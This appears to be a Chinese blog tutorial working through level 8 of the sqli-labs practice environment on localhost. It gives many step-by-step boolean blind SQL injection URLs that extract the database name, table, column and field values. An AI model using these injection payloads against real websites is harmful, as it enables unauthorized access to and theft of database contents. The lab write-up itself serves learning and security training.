打穿sqli-labs靶场——Day6 (less-8)手工布尔盲注

打穿sqli-labs靶场day6——less-8

开启靶场环境
在这里插入图片描述
浏览器访问,选择第八关
在这里插入图片描述
根据关卡介绍,改关卡提示使用布尔盲注
进入关卡环境,根据页面提示传入参数
在这里插入图片描述

127.0.0.1/sqli-labs-master/Less-8/?id=1

页面显示正常
在这里插入图片描述
测试注入点是否存在

127.0.0.1/sqli-labs-master/Less-8/?id='

页面回显错误,说明成功代入数据库执行。但是没有返回报错信息,说明该关卡属于无回显
在这里插入图片描述
进一步确定注入点是否存在并测试参数值是否使用符号过滤,当成功闭合符号后and 1=1页面回显正常,and 1=2页面回显错误

127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=1 --+ //页面回显正常
127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=2 --+ //页面回显错误

在这里插入图片描述在这里插入图片描述
经过测试,改关卡对参数值使用单引号进行过滤

简述布尔盲注原理

select * from users where id=1 and 1=1

and连接的两个语句都为真时,该语句返回true,当有一个为假时,语句返回false。而前半部分语句恒为真,所以在使用布尔盲注时要将1=1修改为1=SQL语句。当此SQL语句为真时,页面返回正常,反之返回错误。以此来确定信息是否正确

使用布尔盲注

mysql中length()函数用于获取字符串的长度
使用length()函数猜测数据库名长度

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(length(database())>8) --+ //页面返回错误
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(length(database())=8) --+ //页面返回正常

在这里插入图片描述
在这里插入图片描述
接下来使用ascii()函数和substr()函数爆破数据库名及其他信息
ascii():返回指定字符的 ASCII 码。
substr():SUBSTR(<字符表达式>、<数值表达式1>[,<数值表达式2>]。该函数具有三个参数
如:substr(database(),x,1):返回数据库名的第x个字符,一次返回一个字符。要猜测第二个字符只需修改x(1,2,3…)值即可
获取数据库名
我们使用二分法猜测数据库名各个字符的ASCII码值
猜测数据库名第一个字符ASCII码值是否大于100

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr(database(),1,1))>100) --+

页面回显正常,说明条件正确
在这里插入图片描述
猜测数据库名第一个字符ASCII码值大于110

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr(database(),1,1))>110) --+

页面回显正常,条件正确
在这里插入图片描述
猜测数据库名第一个字符ASCII码值大于120

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr(database(),1,1))>120) --+

页面回显错误,条件不正确
在这里插入图片描述
猜测数据库名第一个字符ASCII码值大于115

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr(database(),1,1))>115) --+

页面回显错误,条件不正确
在这里插入图片描述
猜测数据库名第一个字符ASCII码值大于114

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr(database(),1,1))>114) --+

页面回显正常,条件正确
在这里插入图片描述
数据库名第一个字符ASCII码值大于114正确,大于115错误,所以我们猜测数据库名第一个字符ASCII码值为115

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr(database(),1,1))=115) --+

页面回显正常,条件正确
在这里插入图片描述
对照ASCII值码表,115对应字符’s’,所以数据库名第一个字符为s。
猜测数据库名第二个字符ASCII码值,只需将substr(database(),1,1)中的第一个1修改为2即可,之后为3,4…
猜测数据库名第二个字符ASCII码值大于100,页面回显正常,条件正确

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr(database(),2,1))>100) --+

在这里插入图片描述
猜测数据库名第二个字符ASCII码值大于105,页面回显错误,条件不正确

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr(database(),2,1))>105) --+

在这里插入图片描述
猜测数据库名第二个字符ASCII码值大于101,页面回显错误,条件不正确

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr(database(),2,1))>101) --+

在这里插入图片描述
当ASCII码值大于100时正确,大于101时错误,所以猜测数据库名第二个字符ASCII码值等于101,页面回显正常,条件正确,101对应ASCII码表为字符’e’

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr(database(),2,1))=101) --+

在这里插入图片描述
按照这种方法最终获取数据库名为:security
获取数据库下的第一个表名,使用limit x,1限制返回个数和具体返回哪一个
确定第一个表名长度,当等于6时页面回显正常,第一个表名长度为6

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6) --+

在这里插入图片描述
猜测数据库下的第一个表名第一个字符ASCII码值大于97,页面回显正常,条件正确

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97) --+

limit 0,1:返回数组中的第一个值并且一次返回一个
在这里插入图片描述
不断更换条件值,直到使用等于号页面回显正常
第一个表名的第一个字符为’e’

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101) --+

在这里插入图片描述
按照这种方法,使用大于号和等于号并不断更换条件值,获取不同位置字符的ASCII码值
第一个表名为:emails
获取emails表下的第一个列明信息
获取第一个列名长度,条件值等于2时,页面回显正常,条件正确,第一个列名长度为2

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(length((select column_name from information_schema.columns where table_name='emails' limit 0,1))=2) --+

获取列名第一个字符
条件值等于105时页面回显正常,条件正确。105——>‘i’

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105) --+

在这里插入图片描述
获取列名第二个字符
条件值等于100,页面回显正常,条件正确。100——>‘d’

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),2,1))=100) --+

在这里插入图片描述
当获取第三个字符时不管用什么条件值页面都回显错误,原因在于列名只有两个字符

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),3,1))>1) --+

在这里插入图片描述
获取id字段下的字段值
确定第一个字段值长度
条件值等于1时页面回显正常,条件正确,第一个字段值长度为1

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(length((select id from emails limit 0,1))=1) --+

在这里插入图片描述
获取字段值
条件值为49时页面回显正常,条件正确。49——>‘1’

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr((select id from emails limit 0,1),1,1))=49) --+

在这里插入图片描述

总结

布尔盲注的原理时使用条件语句确定返回值为True或者为Flase,当返回值为True时页面回显正常,为False时页面回显错误以此来判断查询的信息是否正确。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值